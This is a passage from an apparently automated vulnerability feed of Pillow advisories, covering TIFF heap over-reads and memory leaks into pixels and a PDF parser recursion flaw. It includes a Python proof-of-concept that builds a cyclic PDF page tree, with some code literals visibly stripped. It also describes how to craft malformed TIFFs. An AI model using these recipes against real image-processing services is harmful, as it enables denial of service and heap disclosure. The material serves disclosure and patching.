`core.new`, so the garbage provably comes from `state->buffer`).\n`_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then\n`tile_length` rows copied after each `TIFFReadTile()` at 460–488).\n\nFor a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes\nand the copy is correct. The malicious file differs only in the SOF height of the embedded\nJPEG; libtiff treats \"JPEG smaller than strip\" as a warning, clamps the row count to the\nJPEG height, and reports success.\n\nJPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode`\n(`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512×256\n1-bit TIFF whose strip is the Group 4 stream of a 512×16 im\n\nAffected package ranges reported by GitHub:\nPillow: >= 5.3.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:52:43.000Z","updatedAt":"2026-10-22T22:18:02.267Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112897","asOf":"2026-10-22T22:18:02.267Z"},"epss":{"probability":0.00512,"percentile":0.43361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-q45j-58j2-45rg","url":"https://github.com/advisories/GHSA-q45j-58j2-45rg","type":"primary","publishedAt":"2026-10-20T20:52:43.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-q45j-58j2-45rg, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112897","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112897","type":"primary","publishedAt":"2026-10-19T22:17:09.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112896","cveId":"CVE-2026-112896","aliases":["GHSA-pchr-8j38-3x4p"],"kind":"vulnerability","title":"Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read","summary":"A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.\n\nPillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.","detail":"## Summary\n\nA small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.\n\nPillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.\n\nThe malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.\n\n## Impact and prerequisites\n\nAn application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.\n\nThe 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.\n\n## Tested environment and limits of the evidence\n\nThe existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**:\n\n- Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl`\n- Wheel size: `4785266` bytes\n- Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6`\n- Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`\n- Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1`\n\nApple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.\n\nOnly this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed.\n\nSeparate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.\n\n## Observed evidence and controls\n\nThe earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format=\"TIFF\")`, without replacing the image's metadata. Each case was recorded three times:\n\n| Original fixture | Bytes | Recorded result |\n| --- | ---: | --- |\n| `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). |\n| `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). |\n| `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |\n\nAddress-free summary of the recorded native diagnostic:\n\n```text\nAddressSanitizer: heap-buffer-overflow\nREAD of size 131072\n0 bytes after 1536-byte region\nCopy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt\n -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField\n -> PyImaging_LibTiffEncoderNew\nAllocation: calloc -> PyImaging_LibTiffEncoderNew\n```\n\nInput SHA-256 values (also enforced inside the script):\n\n- `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d`\n- `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c`\n- `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556`\n\n## Root cause and source references\n\n- [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`.\n- [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–1991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap.\n- [libtiff `tif_dir.c`, lines 441–448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L td_bitspersample` and copies that many SHORTs from each pointer.\n\nThe reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.\n\n## Prior art and disclosure scope\n\n[Pillow PR #5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persisten\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:51:40.000Z","updatedAt":"2026-10-20T20:51:40.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-pchr-8j38-3x4p","asOf":"2026-10-20T20:51:40.000Z"},"epss":{"probability":0.00493,"percentile":0.42062,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112896&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-pchr-8j38-3x4p","url":"https://github.com/advisories/GHSA-pchr-8j38-3x4p","type":"primary","publishedAt":"2026-10-20T20:51:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-pchr-8j38-3x4p, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112896","type":"primary","publishedAt":"2026-10-19T22:17:09.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112896&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112896, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112895","cveId":"CVE-2026-112895","aliases":["GHSA-p4wg-p73j-c528"],"kind":"vulnerability","title":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","summary":"- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:","detail":"### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).\nobjs = {\n 1: b\" >\",\n 2: b\" >\",\n 3: b\" >\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n off[oid] = len(buf)\n buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n >\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\") # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.\n\nAffected package ranges reported by GitHub:\npillow: >= 5.1.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:50:49.000Z","updatedAt":"2026-10-20T20:50:50.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-p4wg-p73j-c528","asOf":"2026-10-20T20:50:50.000Z"},"epss":{"probability":0.00417,"percentile":0.35772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-p4wg-p73j-c528","url":"https://github.com/advisories/GHSA-p4wg-p73j-c528","type":"primary","publishedAt":"2026-10-20T20:50:49.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-p4wg-p73j-c528, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112895","type":"primary","publishedAt":"2026-10-19T22:17:09.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112404","cveId":"CVE-2026-112404","aliases":["GHSA-c6hw-5grf-ff96"],"kind":"vulnerability","title":"Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels","summary":"```\n============================================================================\nOOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels\nLocation: src/libImaging/TiffDecode.c:483 in _decodeTile()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.","detail":"```\n============================================================================\nOOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels\nLocation: src/libImaging/TiffDecode.c:483 in _decodeTile()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.\n\nThe bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.\n\nThe two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.\n\nThe tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix 